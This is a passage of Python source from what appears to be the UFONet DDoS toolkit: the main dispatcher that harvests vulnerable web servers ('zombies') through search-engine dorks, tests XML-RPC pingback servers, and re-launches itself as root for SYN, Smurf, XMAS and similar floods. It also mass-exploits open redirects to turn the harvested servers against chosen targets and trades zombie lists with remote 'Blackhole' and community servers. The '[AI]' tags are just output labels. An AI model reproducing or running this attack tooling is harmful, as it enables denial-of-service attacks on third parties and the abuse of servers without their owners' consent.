  395. if not options.xrayps:
  396. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  397. ports = options.xrayps
  398. try:
  399. portX, portY = ports.split('-')
  400. try:
  401. portX = int(portX)
  402. portY = int(portY)
  403. except:
  404. portX = 1
  405. portY = 1024
  406. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  407. except:
  408. portX = 1
  409. portY = 1024
  410. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  411. self.banner()
  412. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  413. print('='*22 + '\n')
  414. try:
  415. self.instance = UFOSCAN() # instance main class for scanning operations
  416. xray = self.instance.scanning(options.xray, portX, portY)
  417. except Exception as e:
  418. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  419. if self.options.verbose:
  420. traceback.print_exc()
  421. return
  422. # show code timeline
  423. if options.timeline:
  424. f = open(self.timeline_file, 'r')
  425. releases = f.readlines()
  426. f.close()
  427. self.banner()
  428. print("-> Code timeline:")
  429. print('='*44)
  430. print("-"*35)
  431. for r in releases:
  432. print(r.strip('\n'))
  433. print("-"*35)
  434. print('='*75, "\n")
  435. # print some examples
  436. if options.examples:
  437. f = open(self.examples_file, 'r')
  438. examples = f.readlines()
  439. f.close()
  440. self.banner()
  441. for e in examples:
  442. print(e.strip('\n'))
  443. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  444. if options.ufosyn:
  445. euid = self.checkeuid()
  446. if euid != 0:
  447. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  448. try:
  449. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  450. os.execlpe('sudo', *args)
  451. except:
  452. pass # keep running, but UFOSYN will fail
  453. # check EUID when running SPRAY (root required)
  454. if options.spray:
  455. euid = self.checkeuid()
  456. if euid != 0:
  457. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  458. try:
  459. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  460. os.execlpe('sudo', *args)
  461. except:
  462. pass # keep running, but SPRAY will fail
  463. # check EUID when running SMURF (root required)
  464. if options.smurf:
  465. euid = self.checkeuid()
  466. if euid != 0:
  467. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  468. try:
  469. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  470. os.execlpe('sudo', *args)
  471. except:
  472. pass # keep running, but SMURF will fail
  473. # check EUID when running XMAS (root required)
  474. if options.xmas:
  475. euid = self.checkeuid()
  476. if euid != 0:
  477. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  478. try:
  479. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  480. os.execlpe('sudo', *args)
  481. except:
  482. pass # keep running, but XMAS will fail
  483. # check EUID when running NUKE (root required)
  484. if options.nuke:
  485. euid = self.checkeuid()
  486. if euid != 0:
  487. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  488. try:
  489. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  490. os.execlpe('sudo', *args)
  491. except:
  492. pass # keep running, but NUKE will fail
  493. # check EUID when running TACHYON (root required)
  494. if options.tachyon:
  495. euid = self.checkeuid()
  496. if euid != 0:
  497. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  498. try:
  499. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  500. os.execlpe('sudo', *args)
  501. except:
  502. pass # keep running, but TACHYON will fail
  503. # check EUID when running MONLIST (root required)
  504. if options.monlist:
  505. euid = self.checkeuid()
  506. if euid != 0:
  507. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  508. try:
  509. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  510. os.execlpe('sudo', *args)
  511. except:
  512. pass # keep running, but MONLIST will fail
  513. # search for [Zombies] on search engines results (dorking)
  514. if options.search:
  515. zombies = []
  516. if options.engine:
  517. engine = options.engine
  518. else:
  519. engine = "duck" # default search engine
  520. try:
  521. self.banner()
  522. if not os.path.exists(self.humans_file) == True:
  523. f = open(self.humans_file, 'w')
  524. f.close()
  525. lf = open(self.humans_file, 'r')
  526. restored = lf.readlines()
  527. zombies_restored = len(restored)
  528. lf.close()
  529. lz = open(self.zombies_file, 'r')
  530. zombies_army = lz.readlines()
  531. for zombie in zombies_army:
  532. zombies.append(zombie) # add zombies from army to the zombies pool
  533. lz.close()
  534. if len(restored) > 0:
  535. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  536. if not self.options.forceyes:
  537. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  538. print('-'*25)
  539. else:
  540. backup_reply = "Y"
  541. if backup_reply == "n" or backup_reply == "N":
  542. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  543. os.remove(self.humans_file)
  544. zombies_restored = 0 # flush zombies restored
  545. print('-'*25 + "\n")
  546. else:
  547. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  548. print('-'*25 + "\n")
  549. for zombie in restored:
  550. zombies.append(zombie) # add previous data to zombies pool
  551. if options.allengines:
  552. if options.ex_engine: # exclude some search engines manually
  553. exclude = options.ex_engine.split(",")
  554. for ex in exclude:
  555. ex = ex.lower()
  556. if ex in self.search_engines:
  557. if len(self.search_engines) == 1: # at least one should make it
  558. pass
  559. else:
  560. self.search_engines.remove(ex)
  561. for e in self.search_engines:
  562. engine = e
  563. print('='*44)
  564. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  565. print('='*44 + '\n')
  566. self.options.engine = engine
  567. try:
  568. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  569. if zombies_chain != None:
  570. for zombie in zombies_chain:
  571. if zombie not in zombies: # evade possible repetitions
  572. zombies.append(zombie)
  573. except:
  574. if zombies: # backup all new zombies found to file in case of exception
  575. for zombie in zombies:
  576. if zombie+os.linesep not in restored: # only append new zombies found
  577. with open(self.humans_file, "a") as f:
  578. f.write(str(zombie+os.linesep))
  579. else:
  580. if restored:
  581. print('='*44)
  582. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  583. print('='*44 + '\n')
  584. if restored: # from restored file
  585. try:
  586. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  587. if zombies_chain != None:
  588. for zombie in zombies_chain:
  589. if zombie not in zombies: # evade possible repetitions
  590. zombies.append(zombie)
  591. except:
  592. if zombies: # backup all new zombies found to file in case of exception
  593. for zombie in zombies:
  594. if zombie+os.linesep not in restored: # only append new zombies found
  595. with open(self.humans_file, "a") as f:
  596. f.write(str(zombie+os.linesep))
  597. else:
  598. try:
  599. zombies = self.search_zombies(dork='', zombies_found=zombies)
  600. except:
  601. if zombies: # backup all new zombies found to file in case of exception
  602. for zombie in zombies:
  603. if zombie+os.linesep not in restored: # only append new zombies found
  604. with open(self.humans_file, "a") as f:
  605. f.write(str(zombie+os.linesep))
  606. total_restored = zombies_restored
  607. new_zombies = 0 # new zombies counter
  608. f = open(self.zombies_file, 'r')
  609. zz = f.readlines()
  610. f.close()
  611. zombies_found = []
  612. for z in zombies:
  613. if z.endswith(os.linesep):
  614. z = z.replace(os.linesep, "")
  615. if z not in zz and z+os.linesep not in zz:
  616. new_zombies = new_zombies + 1
  617. zombies_found.append(z)
  618. print('='*62)
  619. print("\n- Victims found:", len(zombies_found), "\n")
  620. print(" - Restored:", total_restored)
  621. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  622. print('-'*32)
  623. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  624. print('='*62 + '\n')
  625. if len(zombies) > 0:
  626. if not self.options.forceyes:
  627. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  628. print('-'*25)
  629. else:
  630. check_backup_reply = "Y"
  631. if check_backup_reply == "n" or check_backup_reply == "N":
  632. if os.path.isfile(self.humans_file):
  633. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  634. print("\n[Info] [AI] Temporal data correctly removed...\n")
  635. else:
  636. with open(self.humans_file, "w") as f:
  637. for z in zombies_found:
  638. if z.endswith(os.linesep):
  639. z = z.replace(os.linesep, "")
  640. if z not in zz or z+os.linesep not in zz:
  641. f.write(z+os.linesep)
  642. f.close()
  643. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  644. print('-'*25 + "\n")
  645. if new_zombies and new_zombies > 0:
  646. if not self.options.forceyes:
  647. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  648. print('-'*25 + "\n")
  649. else:
  650. check_url_link_reply = "Y"
  651. if check_url_link_reply == "n" or check_url_link_reply == "N":
  652. print("[AI] "+self.exit_msg+"\n")
  653. pass
  654. else:
  655. print("\n" + '='*44)
  656. test = self.testing(zombies_found)
  657. else:
  658. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  659. except Exception:
  660. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  661. # search for [Zombies] from a list of [Dorks]
  662. if options.dorks:
  663. if options.engine:
  664. engine = options.engine
  665. else:
  666. engine = "duck" # default search engine
  667. try:
  668. dorks = self.extract_dorks()
  669. if not dorks:
  670. return
  671. zombies = []
  672. self.banner()
  673. if not os.path.exists(self.humans_file) == True:
  674. f = open(self.humans_file, 'w')
  675. f.close()
  676. lf = open(self.humans_file, 'r')
  677. restored = lf.readlines()
  678. zombies_restored = len(restored)
  679. lf.close()
  680. lz = open(self.zombies_file, 'r')
  681. zombies_army = lz.readlines()
  682. for zombie in zombies_army:
  683. zombies.append(zombie) # add zombies from army to the zombies pool
  684. lz.close()
  685. if len(restored) > 0:
  686. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  687. if not self.options.forceyes:
  688. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  689. print('-'*25)
  690. else:
  691. backup_reply = "Y"
  692. if backup_reply == "n" or backup_reply == "N":
  693. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  694. os.remove(self.humans_file)
  695. zombies_restored = 0 # flush zombies restored
  696. print('-'*25 + "\n")
  697. else:
  698. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  699. print('-'*25 + "\n")
  700. for zombie in restored:
  701. zombies.append(zombie) # add previous data to zombies pool
  702. total_restored = zombies_restored
  703. if options.allengines:
  704. if options.ex_engine: # exclude some search engines manually
  705. exclude = options.ex_engine.split(",")
  706. for ex in exclude:
  707. ex = ex.lower()
  708. if ex in self.search_engines:
  709. if len(self.search_engines) == 1: # at least one should make it
  710. pass
  711. else:
  712. self.search_engines.remove(ex)
  713. for e in self.search_engines:
  714. engine = e
  715. print('='*44)
  716. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  717. print('='*44 + '\n')
  718. self.options.engine = engine
  719. for dork in dorks:
  720. print('='*22)
  721. print("Dork:", dork)
  722. print('='*22 + '\n')
  723. try:
  724. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  725. for zombie in dorked_zombies:
  726. if zombie not in zombies: # evade repetitions for zombies found
  727. zombies.append(zombie)
  728. if zombie+os.linesep not in restored: # only append new zombies found
  729. with open(self.humans_file, "a") as f:
  730. f.write(str(zombie+os.linesep))
  731. f.close()
  732. except:
  733. if zombies: # backup new zombies found on exception
  734. for zombie in zombies:
  735. if zombie+os.linesep not in restored: # only append new zombies found
  736. with open(self.humans_file, "a") as f:
  737. f.write(str(zombie+os.linesep))
  738. f.close()
  739. else:
  740. if restored:
  741. print('='*44)
  742. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  743. print('='*44 + '\n')
  744. for dork in dorks:
  745. print('='*22)
  746. print("Dork:", dork)
  747. print('='*22 + '\n')
  748. try:
  749. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  750. if dorked_zombies != None:
  751. for zombie in dorked_zombies:
  752. if zombie not in zombies: # evade repetitions for zombies found
  753. zombies.append(zombie)
  754. except:
  755. if zombies: # backup new zombies found on exception
  756. for zombie in zombies:
  757. if zombie+os.linesep not in restored: # only append new zombies found
  758. with open(self.humans_file, "a") as f:
  759. f.write(str(zombie+os.linesep))
  760. f.close()
  761. new_zombies = 0 # new zombies counter
  762. f = open(self.zombies_file, 'r')
  763. zz = f.readlines()
  764. f.close()
  765. zombies_found = []
  766. for z in zombies:
  767. if z.endswith(os.linesep):
  768. z = z.replace(os.linesep, "")
  769. if z not in zz and z+os.linesep not in zz:
  770. new_zombies = new_zombies + 1
  771. zombies_found.append(z)
  772. print('='*62)
  773. print("\n- Victims found:", len(zombies_found), "\n")
  774. print(" - Restored:", total_restored)
  775. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  776. print('-'*32)
  777. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  778. print('='*62 + '\n')
  779. if len(zombies_found) > 0:
  780. if not self.options.forceyes:
  781. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  782. print('-'*25)
  783. else:
  784. check_backup_reply = "Y"
  785. if check_backup_reply == "n" or check_backup_reply == "N":
  786. if os.path.isfile(self.humans_file):
  787. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  788. print("\n[Info] [AI] Temporal data correctly removed...\n")
  789. else:
  790. with open(self.humans_file, "w") as f:
  791. for z in zombies_found:
  792. if z.endswith(os.linesep):
  793. z = z.replace(os.linesep, "")
  794. if z not in zz or z+os.linesep not in zz:
  795. f.write(z+os.linesep)
  796. f.close()
  797. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  798. print('-'*25 + "\n")
  799. if new_zombies and new_zombies > 0:
  800. if not self.options.forceyes:
  801. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  802. print('-'*25 + "\n")
  803. else:
  804. check_url_link_reply = "Y"
  805. if check_url_link_reply == "n" or check_url_link_reply == "N":
  806. print("[AI] "+self.exit_msg+"\n")
  807. pass
  808. else:
  809. print("\n" + '='*44)
  810. test = self.testing(zombies_found)
  811. else:
  812. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  813. except Exception:
  814. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  815. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  816. if options.autosearch:
  817. try:
  818. dorks = self.extract_dorks()
  819. except:
  820. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  821. return
  822. engines_list = self.search_engines
  823. stop_flag = False # use a flag to establish an end
  824. try:
  825. self.banner()
  826. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  827. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  828. print('-'*25 + "\n")
  829. zombies_found = []
  830. lz = open(self.zombies_file, 'r')
  831. zombies_army = lz.readlines()
  832. for zombie in zombies_army:
  833. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  834. lz.close()
  835. if not os.path.exists(self.humans_file) == True:
  836. f = open(self.humans_file, 'w')
  837. f.close()
  838. lf = open(self.humans_file, 'r')
  839. restored = lf.readlines()
  840. zombies_restored = len(restored)
  841. lf.close()
  842. if len(restored) > 0:
  843. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  844. if not self.options.forceyes:
  845. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  846. print('-'*25)
  847. else:
  848. backup_reply = "Y"
  849. if backup_reply == "n" or backup_reply == "N":
  850. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  851. os.remove(self.humans_file)
  852. zombies_restored = 0 # flush zombies restored
  853. print('-'*25 + "\n")
  854. else:
  855. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  856. print('-'*25 + "\n")
  857. for zombie in restored:
  858. zombies_found.append(zombie) # add previous data to zombies found pool
  859. total_restored = zombies_restored
  860. while stop_flag == False:
  861. if not os.path.exists(self.humans_file) == True:
  862. f = open(self.humans_file, 'w')
  863. f.close()
  864. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  865. restored = lf.readlines()
  866. lf.close()
  867. zombies_restored = len(restored)
  868. for e in engines_list:
  869. zombies_counter = 0 # use it also as (engine) flag
  870. engine = e
  871. self.options.engine = engine
  872. print('='*44 + '\n')
  873. print(("[AI] Searching for zombies using: "+engine+'\n'))
  874. print('='*44 + '\n')
  875. for dork in dorks:
  876. print('='*22)
  877. print("Dork:", dork)
  878. print('='*22 + '\n')
  879. try:
  880. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  881. for zombie in dorked_zombies:
  882. if zombie not in zombies_found: # evade repetitions for zombies found
  883. zombies_found.append(zombie)
  884. if zombie+os.linesep not in restored: # only append new zombies found
  885. with open(self.humans_file, "a") as f:
  886. f.write(str(zombie+os.linesep))
  887. f.close()
  888. zombies_counter = zombies_counter + 1
  889. except:
  890. if zombies_found: # backup new zombies found on exception
  891. for zombie in zombies_found:
  892. if zombie+os.linesep not in restored: # only append new zombies found
  893. with open(self.humans_file, "a") as f:
  894. f.write(str(zombie+os.linesep))
  895. f.close()
  896. if zombies_counter == 0:
  897. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  898. print('-'*25 + "\n")
  899. engines_list.remove(engine) # remove not more results engine from search engines list
  900. if not engines_list: # if search engines empty, call return-exit routine
  901. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  902. print('-'*25 + "\n")
  903. stop_flag = True # exit flag up
  904. new_zombies = 0 # new zombies counter
  905. f = open(self.zombies_file, 'r')
  906. zz = f.readlines()
  907. f.close()
  908. all_zombies_found = []
  909. for z in zombies_found:
  910. if z.endswith(os.linesep):
  911. z = z.replace(os.linesep, "")
  912. if z not in zz and z+os.linesep not in zz:
  913. new_zombies = new_zombies + 1
  914. all_zombies_found.append(z)
  915. print('='*62)
  916. print("\n- Victims found:", len(all_zombies_found), "\n")
  917. print(" - Restored:", total_restored)
  918. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  919. print('-'*32)
  920. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  921. print('='*62 + '\n')
  922. if len(zombies_found) > 0:
  923. if not self.options.forceyes:
  924. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  925. print('-'*25)
  926. else:
  927. check_backup_reply = "Y"
  928. if check_backup_reply == "n" or check_backup_reply == "N":
  929. if os.path.isfile(self.humans_file):
  930. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  931. print("\n[Info] [AI] Temporal data correctly removed...\n")
  932. else:
  933. with open(self.humans_file, "w") as f:
  934. for z in all_zombies_found:
  935. if z.endswith(os.linesep):
  936. z = z.replace(os.linesep, "")
  937. if z not in zz or z+os.linesep not in zz:
  938. f.write(z+os.linesep)
  939. f.close()
  940. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  941. print('-'*25 + "\n")
  942. if new_zombies and new_zombies > 0:
  943. if not self.options.forceyes:
  944. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  945. print('-'*25 + "\n")
  946. else:
  947. check_url_link_reply = "Y"
  948. if check_url_link_reply == "n" or check_url_link_reply == "N":
  949. print("[AI] "+self.exit_msg+"\n")
  950. pass
  951. else:
  952. print("\n" + '='*44)
  953. test = self.testing(all_zombies_found)
  954. else:
  955. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  956. except Exception:
  957. print ("[Error] [AI] Something wrong (auto)searching...\n")
  958. # test web 'zombie' servers -> show statistics
  959. if options.test:
  960. try:
  961. self.banner()
  962. zombies = self.extract_zombies()
  963. if not zombies:
  964. return
  965. test = self.testing(zombies)
  966. self.update_missions_stats() # update mothership missions stats
  967. except Exception:
  968. print ("\n[Error] [AI] Something wrong testing!\n")
  969. if self.options.verbose:
  970. traceback.print_exc()
  971. # test XML-'rpc' pingback vulnerable servers -> update list
  972. if options.testrpc:
  973. try:
  974. self.banner()
  975. rpcs = self.extract_rpcs()
  976. if not rpcs:
  977. return
  978. testrpc = self.testing_rpcs(rpcs)
  979. self.update_missions_stats() # update mothership missions stats
  980. except Exception:
  981. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  982. if self.options.verbose:
  983. traceback.print_exc()
  984. # check botnet searching for zombies offline
  985. if options.testoffline:
  986. try:
  987. self.banner()
  988. testbotnet = self.testing_offline()
  989. self.update_missions_stats() # update mothership missions stats
  990. except Exception:
  991. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  992. if self.options.verbose:
  993. traceback.print_exc()
  994. # check ALL botnet status
  995. if options.testall:
  996. try:
  997. self.banner()
  998. test_all_botnet = self.testing_all()
  999. self.update_missions_stats() # update mothership missions stats
  1000. except Exception:
  1001. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1002. if self.options.verbose:
  1003. traceback.print_exc()
  1004. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1005. if options.target:
  1006. try:
  1007. self.banner()
  1008. zombies = self.extract_zombies()
  1009. if not zombies:
  1010. return
  1011. attack = self.attacking(zombies, options.target)
  1012. self.update_missions_stats() # update mothership missions stats
  1013. except Exception:
  1014. print ("\n[Error] [AI] Something wrong attacking!\n")
  1015. if self.options.verbose:
  1016. traceback.print_exc()
  1017. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1018. if options.target_list:
  1019. try:
  1020. self.banner()
  1021. zombies = self.extract_zombies()
  1022. if not zombies:
  1023. return
  1024. targets = self.extract_target_list()
  1025. if not targets:
  1026. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1027. return
  1028. self.options.forceyes = True # force-yes ON!
  1029. self.num_target_list = 0
  1030. print("\n[AI] Checking integrity of targets...\n")
  1031. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1032. if not t.startswith("http"): # discarded inmediately
  1033. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1034. targets.remove(t) # ¿remove? invalid targets
  1035. print("")
  1036. c = 0
  1037. for target in targets:
  1038. if target == "":
  1039. c = c + 1
  1040. else:
  1041. self.num_target_list = self.num_target_list + 1
  1042. if c == len(targets):
  1043. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1044. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1045. else:
  1046. for target in targets:
  1047. print('='*55 + "\n")
  1048. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1049. print("="*55)
  1050. self.options.target = target
  1051. attack = self.attacking(zombies, target)
  1052. self.update_missions_stats() # update mothership missions stats (each target counts)
  1053. except Exception:
  1054. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1055. if self.options.verbose:
  1056. traceback.print_exc()
  1057. # inspect target -> inspect target's components sizes
  1058. if options.inspect:
  1059. try:
  1060. self.banner()
  1061. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1062. print('='*22 + '\n')
  1063. self.instance = Inspector(self) # instance main class for inspection operations
  1064. inspection = self.instance.inspecting(options.inspect)
  1065. self.update_missions_stats() # update mothership missions stats
  1066. except Exception as e:
  1067. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1068. if self.options.verbose:
  1069. traceback.print_exc()
  1070. return #sys.exit(2)
  1071. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1072. if options.abduction:
  1073. try:
  1074. self.banner()
  1075. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1076. print('='*22 + '\n')
  1077. self.instance = Abductor(self) # instance main class for abduction operations
  1078. abduction = self.instance.abducting(options.abduction)
  1079. self.update_missions_stats() # update mothership missions stats
  1080. except Exception as e:
  1081. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1082. if self.options.verbose:
  1083. traceback.print_exc()
  1084. return #sys.exit(2)
  1085. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1086. if options.attackme:
  1087. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1088. try:
  1089. self.banner()
  1090. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1091. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1092. if not self.options.forceyes:
  1093. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1094. else:
  1095. update_reply = "Y"
  1096. if update_reply == "n" or update_reply == "N":
  1097. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1098. return
  1099. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1100. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1101. print("\n[AI] Checking NAT/IP configuration:\n")
  1102. nat = self.check_nat()
  1103. f = open("alien", "w") # generate random alien worker
  1104. f.write(str(self.mothership_hash))
  1105. f.close()
  1106. if self.nat_error_flag == "ON":
  1107. return
  1108. zombies = self.extract_zombies()
  1109. if not zombies:
  1110. return
  1111. attackme = self.attackme(zombies)
  1112. self.update_missions_stats() # update mothership missions stats
  1113. except Exception as e:
  1114. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1115. if self.options.verbose:
  1116. traceback.print_exc()
  1117. return #sys.exit(2)
  1118. # check/update for latest stable version
  1119. if options.update:
  1120. self.banner()
  1121. try:
  1122. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1123. Updater()
  1124. except:
  1125. print("Not any .git repository found!\n")
  1126. print("="*30)
  1127. print("\nTo have working this feature, you should clone UFONet with:\n")
  1128. print("$ git clone %s" % self.GIT_REPOSITORY)
  1129. print("\nAlso you can try this other mirror:\n")
  1130. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1131. # launch GUI/Web interface
  1132. if options.web:
  1133. self.create_web_interface()
  1134. return
  1135. # generate [Blackhole] server to share [Zombies]
  1136. if options.blackhole is not None:
  1137. self.banner()
  1138. try:
  1139. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1140. sys.path.append(blackhole_lib)
  1141. from core.tools.blackhole import BlackHole
  1142. print("\n[AI] Initiating void generation sequence...\n")
  1143. print('='*22 + '\n')
  1144. app = BlackHole()
  1145. app.start()
  1146. while True: time.sleep(1)
  1147. except KeyboardInterrupt:
  1148. print("\n[AI] Terminating void generation sequence...\n")
  1149. app.collapse()
  1150. except Exception as e:
  1151. print("[Error] "+str(e))
  1152. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1153. # create [Griger] server to share [Stats/Wargames/Messages]
  1154. if options.grider is not None:
  1155. self.banner()
  1156. try:
  1157. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1158. sys.path.append(grider_lib)
  1159. from core.tools.grider import Grider
  1160. print("\n[AI] Initiating void generation sequence...\n")
  1161. print('='*22 + '\n')
  1162. app = Grider()
  1163. app.start()
  1164. while True: time.sleep(1)
  1165. except KeyboardInterrupt:
  1166. print("\n[AI] Terminating void generation sequence...\n")
  1167. app.collapse()
  1168. except Exception as e:
  1169. print("[Error] "+str(e))
  1170. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1171. # download list of [Zombies] from a [Blackhole] IP
  1172. if options.dip is not None:
  1173. options.download = True
  1174. self.blackhole = options.dip
  1175. # upload list of [Zombies] to a [Blackhole] IP
  1176. if options.upip is not None:
  1177. options.upload = True
  1178. self.blackhole = options.upip
  1179. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1180. if options.download:
  1181. try:
  1182. self.banner()
  1183. if options.dip is not None:
  1184. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1185. else:
  1186. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1187. print('='*22 + '\n')
  1188. download_list = self.downloading_list()
  1189. except Exception as e:
  1190. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1191. return
  1192. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1193. if options.upload:
  1194. try:
  1195. self.banner()
  1196. if options.upip is not None:
  1197. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1198. else:
  1199. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1200. print('='*22 + '\n')
  1201. upload_list = self.uploading_list()
  1202. except Exception as e:
  1203. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1204. if self.options.verbose:
  1205. traceback.print_exc()
  1206. return #sys.exit(2)
  1207. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1208. if options.download_github:
  1209. try:
  1210. self.banner()
  1211. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1212. print('='*22 + '\n')
  1213. download_github_list = self.downloading_github_list()
  1214. except Exception as e:
  1215. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1216. return
  1217. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1218. if options.upload_github:
  1219. try:
  1220. self.banner()
  1221. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1222. print('='*22 + '\n')
  1223. upload_github_list = self.uploading_github_list()
  1224. except Exception as e:
